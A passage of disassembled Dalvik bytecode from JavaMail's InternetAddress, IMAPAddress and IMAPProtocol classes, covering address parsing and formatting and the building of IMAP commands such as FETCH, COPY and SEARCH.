00000012 invoke-direct StringBuffer-><init>()V, v1
00000018 const/4 v0, 0x0
:1A
0000001A array-length v2, p0
0000001C if-lt v0, v2, :2A
:20
00000020 invoke-virtual StringBuffer->toString()String, v1
00000026 move-result-object v0
00000028 goto :C
:2A
0000002A if-eqz v0, :3C
:2E
0000002E const-string v2, ", "
00000032 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
00000038 add-int/lit8 p1, p1, 0x2
:3C
0000003C aget-object v2, p0, v0
00000040 invoke-virtual Address->toString()String, v2
00000046 move-result-object v2
00000048 invoke-static InternetAddress->lengthOfFirstSegment(String)I, v2
0000004E move-result v3
00000050 add-int/2addr v3, p1
00000052 const/16 v4, 0x4C
00000056 if-le v3, v4, :68
:5A
0000005A const-string v3, "\r\n\t"
0000005E invoke-virtual StringBuffer->append(String)StringBuffer, v1, v3
00000064 const/16 p1, 0x8
:68
00000068 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
0000006E invoke-static InternetAddress->lengthOfLastSegment(String, I)I, v2, p1
00000074 move-result p1
00000076 add-int/lit8 v0, v0, 0x1
0000007A goto :1A
.end method
.method private static unquote(String)String
.registers 7
00000000 const/16 v4, 0x5C
00000004 const-string v0, "\""
00000008 invoke-virtual String->startsWith(String)Z, p0, v0
0000000E move-result v0
00000010 if-eqz v0, :6E
:14
00000014 const-string v0, "\""
00000018 invoke-virtual String->endsWith(String)Z, p0, v0
0000001E move-result v0
00000020 if-eqz v0, :6E
:24
00000024 const/4 v0, 0x1
00000026 invoke-virtual String->length()I, p0
0000002C move-result v1
0000002E add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000032 invoke-virtual String->substring(I, I)String, p0, v0, v1
00000038 move-result-object p0
0000003A invoke-virtual String->indexOf(I)I, p0, v4
00000040 move-result v0
00000042 if-ltz v0, :6E
:46
00000046 new-instance v2, StringBuffer
0000004A invoke-virtual String->length()I, p0
00000050 move-result v0
00000052 invoke-direct StringBuffer-><init>(I)V, v2, v0
00000058 const/4 v0, 0x0
:5A
0000005A invoke-virtual String->length()I, p0
00000060 move-result v1
00000062 if-lt v0, v1, :70
:66
00000066 invoke-virtual StringBuffer->toString()String, v2
0000006C move-result-object p0
:6E
0000006E return-object p0
:70
00000070 invoke-virtual String->charAt(I)C, p0, v0
00000076 move-result v1
00000078 if-ne v1, v4, :A4
:7C
0000007C invoke-virtual String->length()I, p0
00000082 move-result v3
00000084 add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFFF
00000088 if-ge v0, v3, :A4
:8C
0000008C add-int/lit8 v1, v0, 0x1
00000090 invoke-virtual String->charAt(I)C, p0, v1
00000096 move-result v0
:98
00000098 invoke-virtual StringBuffer->append(C)StringBuffer, v2, v0
0000009E add-int/lit8 v0, v1, 0x1
000000A2 goto :5A
:A4
000000A4 move v5, v1
000000A6 move v1, v0
000000A8 move v0, v5
000000AA goto :98
.end method
.method public clone()Object
.registers 3
00000000 const/4 v1, 0x0
:2
00000002 invoke-super Object->clone()Object, p0
00000008 move-result-object v0
0000000A check-cast v0, InternetAddress
:E
0000000E return-object v0
:10
00000010 move-exception v0
00000012 move-object v0, v1
00000014 goto :E
.catch CloneNotSupportedException {:2 .. :E} :10
.end method
.method public equals(Object)Z
.registers 6
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 instance-of v2, p1, InternetAddress
00000008 if-nez v2, :E
:C
0000000C return v0
:E
0000000E check-cast p1, InternetAddress
00000012 invoke-virtual InternetAddress->getAddress()String, p1
00000018 move-result-object v2
0000001A iget-object v3, p0, InternetAddress->address:String
0000001E if-ne v2, v3, :26
:22
00000022 move v0, v1
00000024 goto :C
:26
00000026 iget-object v3, p0, InternetAddress->address:String
0000002A if-eqz v3, :C
:2E
0000002E iget-object v3, p0, InternetAddress->address:String
00000032 invoke-virtual String->equalsIgnoreCase(String)Z, v3, v2
00000038 move-result v2
0000003A if-eqz v2, :C
:3E
0000003E move v0, v1
00000040 goto :C
.end method
.method public getAddress()String
.registers 2
00000000 iget-object v0, p0, InternetAddress->address:String
00000004 return-object v0
.end method
.method public getGroup(Z)[InternetAddress
.registers 5
00000000 const/4 v0, 0x0
00000002 invoke-virtual InternetAddress->getAddress()String, p0
00000008 move-result-object v1
0000000A const-string v2, ";"
0000000E invoke-virtual String->endsWith(String)Z, v1, v2
00000014 move-result v2
00000016 if-nez v2, :1C
:1A
0000001A return-object v0
:1C
0000001C const/16 v2, 0x3A
00000020 invoke-virtual String->indexOf(I)I, v1, v2
00000026 move-result v2
00000028 if-ltz v2, :1A
:2C
0000002C add-int/lit8 v0, v2, 0x1
00000030 invoke-virtual String->length()I, v1
00000036 move-result v2
00000038 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
0000003C invoke-virtual String->substring(I, I)String, v1, v0, v2
00000042 move-result-object v0
00000044 invoke-static InternetAddress->parseHeader(String, Z)[InternetAddress, v0, p1
0000004A move-result-object v0
0000004C goto :1A
.end method
.method public getPersonal()String
.registers 2
00000000 iget-object v0, p0, InternetAddress->personal:String
00000004 if-eqz v0, :E
:8
00000008 iget-object v0, p0, InternetAddress->personal:String
:C
0000000C return-object v0
:E
0000000E iget-object v0, p0, InternetAddress->encodedPersonal:String
00000012 if-eqz v0, :34
:16
00000016 iget-object v0, p0, InternetAddress->encodedPersonal:String
0000001A invoke-static MimeUtility->decodeText(String)String, v0
00000020 move-result-object v0
00000022 iput-object v0, p0, InternetAddress->personal:String
00000026 iget-object v0, p0, InternetAddress->personal:String
:2A
0000002A goto :C
:2C
0000002C move-exception v0
0000002E iget-object v0, p0, InternetAddress->encodedPersonal:String
00000032 goto :C
:34
00000034 const/4 v0, 0x0
00000036 goto :C
.catch Exception {:16 .. :2A} :2C
.end method
.method public getType()String
.registers 2
00000000 const-string v0, "rfc822"
00000004 return-object v0
.end method
.method public hashCode()I
.registers 3
00000000 iget-object v0, p0, InternetAddress->address:String
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C iget-object v0, p0, InternetAddress->address:String
00000010 sget-object v1, Locale->ENGLISH:Locale
00000014 invoke-virtual String->toLowerCase(Locale)String, v0, v1
0000001A move-result-object v0
0000001C invoke-virtual String->hashCode()I, v0
00000022 move-result v0
00000024 goto :A
.end method
.method public isGroup()Z
.registers 3
00000000 iget-object v0, p0, InternetAddress->address:String
00000004 if-eqz v0, :34
:8
00000008 iget-object v0, p0, InternetAddress->address:String
0000000C const-string v1, ";"
00000010 invoke-virtual String->endsWith(String)Z, v0, v1
00000016 move-result v0
00000018 if-eqz v0, :34
:1C
0000001C iget-object v0, p0, InternetAddress->address:String
00000020 const/16 v1, 0x3A
00000024 invoke-virtual String->indexOf(I)I, v0, v1
0000002A move-result v0
0000002C if-lez v0, :34
:30
00000030 const/4 v0, 0x1
:32
00000032 return v0
:34
00000034 const/4 v0, 0x0
00000036 goto :32
.end method
.method public setAddress(String)V
.registers 2
00000000 iput-object p1, p0, InternetAddress->address:String
00000004 return-void
.end method
.method public setPersonal(String)V
.registers 3
00000000 iput-object p1, p0, InternetAddress->personal:String
00000004 if-eqz p1, :16
:8
00000008 invoke-static MimeUtility->encodeWord(String)String, p1
0000000E move-result-object v0
00000010 iput-object v0, p0, InternetAddress->encodedPersonal:String
:14
00000014 return-void
:16
00000016 const/4 v0, 0x0
00000018 iput-object v0, p0, InternetAddress->encodedPersonal:String
0000001C goto :14
.end method
.method public setPersonal(String, String)V
.registers 4
00000000 const/4 v0, 0x0
00000002 iput-object p1, p0, InternetAddress->personal:String
00000006 if-eqz p1, :18
:A
0000000A invoke-static MimeUtility->encodeWord(String, String, String)String, p1, p2, v0
00000010 move-result-object v0
00000012 iput-object v0, p0, InternetAddress->encodedPersonal:String
:16
00000016 return-void
:18
00000018 iput-object v0, p0, InternetAddress->encodedPersonal:String
0000001C goto :16
.end method
.method public toString()String
.registers 3
00000000 iget-object v0, p0, InternetAddress->encodedPersonal:String
00000004 if-nez v0, :20
:8
00000008 iget-object v0, p0, InternetAddress->personal:String
0000000C if-eqz v0, :20
:10
00000010 iget-object v0, p0, InternetAddress->personal:String
00000014 invoke-static MimeUtility->encodeWord(String)String, v0
0000001A move-result-object v0
0000001C iput-object v0, p0, InternetAddress->encodedPersonal:String
:20
00000020 iget-object v0, p0, InternetAddress->encodedPersonal:String
00000024 if-eqz v0, :74
:28
00000028 new-instance v0, StringBuilder
0000002C iget-object v1, p0, InternetAddress->encodedPersonal:String
00000030 invoke-static InternetAddress->quotePhrase(String)String, v1
00000036 move-result-object v1
00000038 invoke-static String->valueOf(Object)String, v1
0000003E move-result-object v1
00000040 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000046 const-string v1, " <"
0000004A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000050 move-result-object v0
00000052 iget-object v1, p0, InternetAddress->address:String
00000056 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000005C move-result-object v0
0000005E const-string v1, ">"
00000062 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000068 move-result-object v0
0000006A invoke-virtual StringBuilder->toString()String, v0
00000070 move-result-object v0
:72
00000072 return-object v0
:74
00000074 invoke-virtual InternetAddress->isGroup()Z, p0
0000007A move-result v0
0000007C if-nez v0, :8C
:80
00000080 invoke-direct InternetAddress->isSimple()Z, p0
00000086 move-result v0
00000088 if-eqz v0, :92
:8C
0000008C iget-object v0, p0, InternetAddress->address:String
00000090 goto :72
:92
00000092 new-instance v0, StringBuilder
00000096 const-string v1, "<"
0000009A invoke-direct StringBuilder-><init>(String)V, v0, v1
000000A0 iget-object v1, p0, InternetAddress->address:String
000000A4 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000AA move-result-object v0
000000AC const-string v1, ">"
000000B0 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000B6 move-result-object v0
000000B8 invoke-virtual StringBuilder->toString()String, v0
000000BE move-result-object v0
000000C0 goto :72
:C2
000000C2 move-exception v0
000000C4 goto :20
.catch UnsupportedEncodingException {:10 .. :20} :C2
.end method
.method public toUnicodeString()String
.registers 3
00000000 invoke-virtual InternetAddress->getPersonal()String, p0
00000006 move-result-object v0
00000008 if-eqz v0, :54
:C
0000000C new-instance v1, StringBuilder
00000010 invoke-static InternetAddress->quotePhrase(String)String, v0
00000016 move-result-object v0
00000018 invoke-static String->valueOf(Object)String, v0
0000001E move-result-object v0
00000020 invoke-direct StringBuilder-><init>(String)V, v1, v0
00000026 const-string v0, " <"
0000002A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
00000030 move-result-object v0
00000032 iget-object v1, p0, InternetAddress->address:String
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000003C move-result-object v0
0000003E const-string v1, ">"
00000042 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000048 move-result-object v0
0000004A invoke-virtual StringBuilder->toString()String, v0
00000050 move-result-object v0
:52
00000052 return-object v0
:54
00000054 invoke-virtual InternetAddress->isGroup()Z, p0
0000005A move-result v0
0000005C if-nez v0, :6C
:60
00000060 invoke-direct InternetAddress->isSimple()Z, p0
00000066 move-result v0
00000068 if-eqz v0, :72
:6C
0000006C iget-object v0, p0, InternetAddress->address:String
00000070 goto :52
:72
00000072 new-instance v0, StringBuilder
00000076 const-string v1, "<"
0000007A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000080 iget-object v1, p0, InternetAddress->address:String
00000084 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000008A move-result-object v0
0000008C const-string v1, ">"
00000090 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000096 move-result-object v0
00000098 invoke-virtual StringBuilder->toString()String, v0
0000009E move-result-object v0
000000A0 goto :52
.end method
.method public validate()V
.registers 3
00000000 const/4 v1, 0x1
00000002 invoke-virtual InternetAddress->getAddress()String, p0
00000008 move-result-object v0
0000000A invoke-static InternetAddress->checkAddress(String, Z, Z)V, v0, v1, v1
00000010 return-void
.end method
#--------------------------------------------------------------------------------
.class IMAPAddress
.super InternetAddress
.source ""
.field private static final serialVersionUID:J = 0xCAC46C2FEF0A61C8L
.field private group:Z
.field private grouplist:[InternetAddress
.field private groupname:String
.method constructor <init>(Response)V
.registers 7
00000000 const/16 v4, 0x29
00000004 invoke-direct InternetAddress-><init>()V, p0
0000000A const/4 v0, 0x0
0000000C iput-boolean v0, p0, IMAPAddress->group:Z
00000010 invoke-virtual Response->skipSpaces()V, p1
00000016 invoke-virtual Response->readByte()B, p1
0000001C move-result v0
0000001E const/16 v1, 0x28
00000022 if-eq v0, v1, :36
:26
00000026 new-instance v0, ParsingException
0000002A const-string v1, "ADDRESS parse error"
0000002E invoke-direct ParsingException-><init>(String)V, v0, v1
00000034 throw v0
:36
00000036 invoke-virtual Response->readString()String, p1
0000003C move-result-object v0
0000003E iput-object v0, p0, IMAPAddress->encodedPersonal:String
00000042 invoke-virtual Response->readString()String, p1
00000048 invoke-virtual Response->readString()String, p1
0000004E move-result-object v0
00000050 invoke-virtual Response->readString()String, p1
00000056 move-result-object v1
00000058 invoke-virtual Response->readByte()B, p1
0000005E move-result v2
00000060 if-eq v2, v4, :74
:64
00000064 new-instance v0, ParsingException
00000068 const-string v1, "ADDRESS parse error"
0000006C invoke-direct ParsingException-><init>(String)V, v0, v1
00000072 throw v0
:74
00000074 if-nez v1, :136
:78
00000078 const/4 v1, 0x1
0000007A iput-boolean v1, p0, IMAPAddress->group:Z
0000007E iput-object v0, p0, IMAPAddress->groupname:String
00000082 iget-object v0, p0, IMAPAddress->groupname:String
00000086 if-nez v0, :8C
:8A
0000008A return-void
:8C
0000008C new-instance v0, StringBuffer
00000090 invoke-direct StringBuffer-><init>()V, v0
00000096 iget-object v1, p0, IMAPAddress->groupname:String
0000009A invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
000000A0 move-result-object v1
000000A2 const/16 v2, 0x3A
000000A6 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
000000AC new-instance v1, Vector
000000B0 invoke-direct Vector-><init>()V, v1
:B6
000000B6 invoke-virtual Response->peekByte()B, p1
000000BC move-result v2
000000BE if-ne v2, v4, :F4
:C2
000000C2 const/16 v2, 0x3B
000000C6 invoke-virtual StringBuffer->append(C)StringBuffer, v0, v2
000000CC invoke-virtual StringBuffer->toString()String, v0
000000D2 move-result-object v0
000000D4 iput-object v0, p0, IMAPAddress->address:String
000000D8 invoke-virtual Vector->size()I, v1
000000DE move-result v0
000000E0 new-array v0, v0, [IMAPAddress
000000E4 iput-object v0, p0, IMAPAddress->grouplist:[InternetAddress
000000E8 iget-object v0, p0, IMAPAddress->grouplist:[InternetAddress
000000EC invoke-virtual Vector->copyInto([Object)V, v1, v0
000000F2 goto :8A
:F4
000000F4 new-instance v2, IMAPAddress
000000F8 invoke-direct IMAPAddress-><init>(Response)V, v2, p1
000000FE invoke-virtual IMAPAddress->isEndOfGroup()Z, v2
00000104 move-result v3
00000106 if-nez v3, :C2
:10A
0000010A invoke-virtual Vector->size()I, v1
00000110 move-result v3
00000112 if-eqz v3, :120
:116
00000116 const/16 v3, 0x2C
0000011A invoke-virtual StringBuffer->append(C)StringBuffer, v0, v3
:120
00000120 invoke-virtual IMAPAddress->toString()String, v2
00000126 move-result-object v3
00000128 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v3
0000012E invoke-virtual Vector->addElement(Object)V, v1, v2
00000134 goto :B6
:136
00000136 if-eqz v0, :146
:13A
0000013A invoke-virtual String->length()I, v0
00000140 move-result v2
00000142 if-nez v2, :14C
:146
00000146 iput-object v1, p0, IMAPAddress->address:String
0000014A goto :8A
:14C
0000014C invoke-virtual String->length()I, v1
00000152 move-result v2
00000154 if-nez v2, :15E
:158
00000158 iput-object v0, p0, IMAPAddress->address:String
0000015C goto :8A
:15E
0000015E new-instance v2, StringBuilder
00000162 invoke-static String->valueOf(Object)String, v0
00000168 move-result-object v0
0000016A invoke-direct StringBuilder-><init>(String)V, v2, v0
00000170 const-string v0, "@"
00000174 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
0000017A move-result-object v0
0000017C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000182 move-result-object v0
00000184 invoke-virtual StringBuilder->toString()String, v0
0000018A move-result-object v0
0000018C iput-object v0, p0, IMAPAddress->address:String
00000190 goto/16 :8A
.end method
.method public getGroup(Z)[InternetAddress
.registers 3
00000000 iget-object v0, p0, IMAPAddress->grouplist:[InternetAddress
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return-object v0
:C
0000000C iget-object v0, p0, IMAPAddress->grouplist:[InternetAddress
00000010 invoke-virtual [InternetAddress->clone()Object, v0
00000016 move-result-object v0
00000018 check-cast v0, [InternetAddress
0000001C goto :A
.end method
.method isEndOfGroup()Z
.registers 2
00000000 iget-boolean v0, p0, IMAPAddress->group:Z
00000004 if-eqz v0, :14
:8
00000008 iget-object v0, p0, IMAPAddress->groupname:String
0000000C if-nez v0, :14
:10
00000010 const/4 v0, 0x1
:12
00000012 return v0
:14
00000014 const/4 v0, 0x0
00000016 goto :12
.end method
.method public isGroup()Z
.registers 2
00000000 iget-boolean v0, p0, IMAPAddress->group:Z
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public IMAPProtocol
.super Protocol
.source ""
.field private static final CRLF:[B
.field private static final DONE:[B
.field private authenticated:Z
.field private authmechs:List
.field private ba:ByteArray
.field private capabilities:Map
.field private connected:Z
.field private idleTag:String
.field private name:String
.field private rev1:Z
.field private saslAuthenticator:SaslAuthenticator
.field private searchCharsets:[String
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x2
00000002 new-array v0, v0, [B
00000006 fill-array-data v0, :24
0000000C sput-object v0, IMAPProtocol->CRLF:[B
00000010 const/4 v0, 0x6
00000012 new-array v0, v0, [B
00000016 fill-array-data v0, :30
0000001C sput-object v0, IMAPProtocol->DONE:[B
00000020 return-void
00000024 .array-data 1 x 0x2
0xD
0xA
.end array-data
00000030 .array-data 1 x 0x6
0x44
0x4F
0x4E
0x45
0xD
0xA
.end array-data
.end method
.method public constructor <init>(String, String, I, Z, PrintStream, Properties, Z)V
.registers 16
00000000 new-instance v0, StringBuilder
00000004 const-string v1, "mail."
00000008 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000000E invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000014 move-result-object v0
00000016 invoke-virtual StringBuilder->toString()String, v0
0000001C move-result-object v6
0000001E move-object v0, p0
00000020 move-object v1, p2
00000022 move v2, p3
00000024 move v3, p4
00000026 move-object v4, p5
00000028 move-object v5, p6
0000002A move v7, p7
0000002C invoke-direct/range Protocol-><init>(String, I, Z, PrintStream, Properties, String, Z)V, v0 .. v7
00000032 const/4 v0, 0x0
00000034 iput-boolean v0, p0, IMAPProtocol->connected:Z
00000038 const/4 v0, 0x0
0000003A iput-boolean v0, p0, IMAPProtocol->rev1:Z
0000003E const/4 v0, 0x0
00000040 iput-object v0, p0, IMAPProtocol->capabilities:Map
00000044 const/4 v0, 0x0
00000046 iput-object v0, p0, IMAPProtocol->authmechs:List
:4A
0000004A iput-object p1, p0, IMAPProtocol->name:String
0000004E iget-object v0, p0, IMAPProtocol->capabilities:Map
00000052 if-nez v0, :5C
:56
00000056 invoke-virtual IMAPProtocol->capability()V, p0
:5C
0000005C const-string v0, "IMAP4rev1"
00000060 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
00000066 move-result v0
00000068 if-eqz v0, :72
:6C
0000006C const/4 v0, 0x1
0000006E iput-boolean v0, p0, IMAPProtocol->rev1:Z
:72
00000072 const/4 v0, 0x2
00000074 new-array v0, v0, [String
00000078 iput-object v0, p0, IMAPProtocol->searchCharsets:[String
0000007C iget-object v0, p0, IMAPProtocol->searchCharsets:[String
00000080 const/4 v1, 0x0
00000082 const-string v2, "UTF-8"
00000086 aput-object v2, v0, v1
0000008A iget-object v0, p0, IMAPProtocol->searchCharsets:[String
0000008E const/4 v1, 0x1
00000090 invoke-static MimeUtility->getDefaultJavaCharset()String
00000096 move-result-object v2
00000098 invoke-static MimeUtility->mimeCharset(String)String, v2
0000009E move-result-object v2
000000A0 aput-object v2, v0, v1
000000A4 const/4 v0, 0x1
000000A6 iput-boolean v0, p0, IMAPProtocol->connected:Z
:AA
000000AA iget-boolean v0, p0, IMAPProtocol->connected:Z
000000AE if-nez v0, :B8
:B2
000000B2 invoke-virtual IMAPProtocol->disconnect()V, p0
:B8
000000B8 return-void
:BA
000000BA move-exception v0
000000BC iget-boolean v1, p0, IMAPProtocol->connected:Z
000000C0 if-nez v1, :CA
:C4
000000C4 invoke-virtual IMAPProtocol->disconnect()V, p0
:CA
000000CA throw v0
.catchall {:4A .. :AA} :BA
.end method
.method private copy(String, String)V
.registers 5
00000000 invoke-static BASE64MailboxEncoder->encode(String)String, p2
00000006 move-result-object v0
00000008 new-instance v1, Argument
0000000C invoke-direct Argument-><init>()V, v1
00000012 invoke-virtual Argument->writeAtom(String)V, v1, p1
00000018 invoke-virtual Argument->writeString(String)V, v1, v0
0000001E const-string v0, "COPY"
00000022 invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
00000028 return-void
.end method
.method private createFlagList(Flags)String
.registers 10
00000000 const/16 v7, 0x20
00000004 const/4 v1, 0x0
00000006 new-instance v4, StringBuffer
0000000A invoke-direct StringBuffer-><init>()V, v4
00000010 const-string v0, "("
00000014 invoke-virtual StringBuffer->append(String)StringBuffer, v4, v0
0000001A invoke-virtual Flags->getSystemFlags()[Flags$Flag, p1
00000020 move-result-object v5
00000022 const/4 v0, 0x1
00000024 move v2, v0
00000026 move v0, v1
:28
00000028 array-length v3, v5
0000002A if-lt v0, v3, :52
:2E
0000002E invoke-virtual Flags->getUserFlags()[String, p1
00000034 move-result-object v3
00000036 move v0, v1
:38
00000038 array-length v5, v3
0000003A if-lt v0, v5, :C2
:3E
0000003E const-string v0, ")"
00000042 invoke-virtual StringBuffer->append(String)StringBuffer, v4, v0
00000048 invoke-virtual StringBuffer->toString()String, v4
0000004E move-result-object v0
00000050 return-object v0
:52
00000052 aget-object v3, v5, v0
00000056 sget-object v6, Flags$Flag->ANSWERED:Flags$Flag
0000005A if-ne v3, v6, :74
:5E
0000005E const-string v3, "\\Answered"
:62
00000062 if-eqz v2, :BA
:66
00000066 move v2, v1
:68
00000068 invoke-virtual StringBuffer->append(String)StringBuffer, v4, v3
:6E
0000006E add-int/lit8 v0, v0, 0x1
00000072 goto :28
:74
00000074 sget-object v6, Flags$Flag->DELETED:Flags$Flag
00000078 if-ne v3, v6, :82
:7C
0000007C const-string v3, "\\Deleted"
00000080 goto :62
:82
00000082 sget-object v6, Flags$Flag->DRAFT:Flags$Flag
00000086 if-ne v3, v6, :90
:8A
0000008A const-string v3, "\\Draft"
0000008E goto :62
:90
00000090 sget-object v6, Flags$Flag->FLAGGED:Flags$Flag
00000094 if-ne v3, v6, :9E
:98
00000098 const-string v3, "\\Flagged"
0000009C goto :62
:9E
0000009E sget-object v6, Flags$Flag->RECENT:Flags$Flag
000000A2 if-ne v3, v6, :AC
:A6
000000A6 const-string v3, "\\Recent"
000000AA goto :62
:AC
000000AC sget-object v6, Flags$Flag->SEEN:Flags$Flag
000000B0 if-ne v3, v6, :6E
:B4
000000B4 const-string v3, "\\Seen"
000000B8 goto :62
:BA
000000BA invoke-virtual StringBuffer->append(C)StringBuffer, v4, v7
000000C0 goto :68
:C2
000000C2 if-eqz v2, :D8
:C6
000000C6 move v2, v1
:C8
000000C8 aget-object v5, v3, v0
000000CC invoke-virtual StringBuffer->append(String)StringBuffer, v4, v5
000000D2 add-int/lit8 v0, v0, 0x1
000000D6 goto :38
:D8
000000D8 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v7
000000DE goto :C8
.end method
.method private doList(String, String, String)[ListInfo
.registers 13
00000000 const/4 v1, 0x0
00000002 invoke-static BASE64MailboxEncoder->encode(String)String, p2
00000008 move-result-object v0
0000000A invoke-static BASE64MailboxEncoder->encode(String)String, p3
00000010 move-result-object v2
00000012 new-instance v3, Argument
00000016 invoke-direct Argument-><init>()V, v3
0000001C invoke-virtual Argument->writeString(String)V, v3, v0
00000022 invoke-virtual Argument->writeString(String)V, v3, v2
00000028 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, p1, v3
0000002E move-result-object v4
00000030 move-object v0, v1
00000032 check-cast v0, [ListInfo
00000036 array-length v2, v4
00000038 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
0000003C aget-object v5, v4, v2
00000040 invoke-virtual Response->isOK()Z, v5
00000046 move-result v2
00000048 if-eqz v2, :80
:4C
0000004C new-instance v6, Vector
00000050 const/4 v2, 0x1
00000052 invoke-direct Vector-><init>(I)V, v6, v2
00000058 const/4 v2, 0x0
0000005A array-length v7, v4
0000005C move v3, v2
:5E
0000005E if-lt v3, v7, :8E
:62
00000062 invoke-virtual Vector->size()I, v6
00000068 move-result v1
0000006A if-lez v1, :80
:6E
0000006E invoke-virtual Vector->size()I, v6
00000074 move-result v0
00000076 new-array v0, v0, [ListInfo
0000007A invoke-virtual Vector->copyInto([Object)V, v6, v0
:80
00000080 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
00000086 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v5
0000008C return-object v0
:8E
0000008E aget-object v2, v4, v3
00000092 instance-of v2, v2, IMAPResponse
00000096 if-nez v2, :A2
:9A
0000009A add-int/lit8 v2, v3, 0x1
0000009E move v3, v2
000000A0 goto :5E
:A2
000000A2 aget-object v2, v4, v3
000000A6 check-cast v2, IMAPResponse
000000AA invoke-virtual IMAPResponse->keyEquals(String)Z, v2, p1
000000B0 move-result v8
000000B2 if-eqz v8, :9A
:B6
000000B6 new-instance v8, ListInfo
000000BA invoke-direct ListInfo-><init>(IMAPResponse)V, v8, v2
000000C0 invoke-virtual Vector->addElement(Object)V, v6, v8
000000C6 aput-object v1, v4, v3
000000CA goto :9A
.end method
.method private fetch(String, String, Z)[Response
.registers 7
00000000 const/4 v2, 0x0
00000002 if-eqz p3, :4E
:6
00000006 new-instance v0, StringBuilder
0000000A const-string v1, "UID FETCH "
0000000E invoke-direct StringBuilder-><init>(String)V, v0, v1
00000014 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
0000001A move-result-object v0
0000001C const-string v1, " ("
00000020 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000026 move-result-object v0
00000028 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p2
0000002E move-result-object v0
00000030 const-string v1, ")"
00000034 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000003A move-result-object v0
0000003C invoke-virtual StringBuilder->toString()String, v0
00000042 move-result-object v0
00000044 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
0000004A move-result-object v0
:4C
0000004C return-object v0
:4E
0000004E new-instance v0, StringBuilder
00000052 const-string v1, "FETCH "
00000056 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000005C invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000062 move-result-object v0
00000064 const-string v1, " ("
00000068 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000006E move-result-object v0
00000070 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p2
00000076 move-result-object v0
00000078 const-string v1, ")"
0000007C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000082 move-result-object v0
00000084 invoke-virtual StringBuilder->toString()String, v0
0000008A move-result-object v0
0000008C invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
00000092 move-result-object v0
00000094 goto :4C
.end method
.method private getAppendUID(Response)AppendUID
.registers 7
00000000 const/4 v0, 0x0
00000002 invoke-virtual Response->isOK()Z, p1
00000008 move-result v1
0000000A if-nez v1, :10
:E
0000000E return-object v0
:10
00000010 invoke-virtual Response->readByte()B, p1
00000016 move-result v1
00000018 if-lez v1, :24
:1C
0000001C const/16 v2, 0x5B
00000020 if-ne v1, v2, :10
:24
00000024 if-eqz v1, :E
:28
00000028 invoke-virtual Response->readAtom()String, p1
0000002E move-result-object v1
00000030 const-string v2, "APPENDUID"
00000034 invoke-virtual String->equalsIgnoreCase(String)Z, v1, v2
0000003A move-result v1
0000003C if-eqz v1, :E
:40
00000040 invoke-virtual Response->readLong()J, p1
00000046 move-result-wide v1
00000048 invoke-virtual Response->readLong()J, p1
0000004E move-result-wide v3
00000050 new-instance v0, AppendUID
00000054 invoke-direct AppendUID-><init>(J, J)V, v0, v1, v2, v3, v4
0000005A goto :E
.end method
.method private issueSearch(String, SearchTerm, String)[I
.registers 14
00000000 const/4 v3, 0x0
00000002 const/4 v1, 0x0
00000004 if-nez p3, :78
:8
00000008 move-object v0, v1
:A
0000000A invoke-static SearchSequence->generateSequence(SearchTerm, String)Argument, p2, v0
00000010 move-result-object v0
00000012 invoke-virtual Argument->writeAtom(String)V, v0, p1
00000018 if-nez p3, :82
:1C
0000001C const-string v2, "SEARCH"
00000020 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v2, v0
00000026 move-result-object v0
00000028 move-object v2, v0
:2A
0000002A array-length v0, v2
0000002C add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000030 aget-object v5, v2, v0
00000034 move-object v0, v1
00000036 check-cast v0, [I
0000003A invoke-virtual Response->isOK()Z, v5
00000040 move-result v4
00000042 if-eqz v4, :6A
:46
00000046 new-instance v6, Vector
0000004A invoke-direct Vector-><init>()V, v6
00000050 array-length v7, v2
00000052 move v4, v3
:54
00000054 if-lt v4, v7, :AC
:58
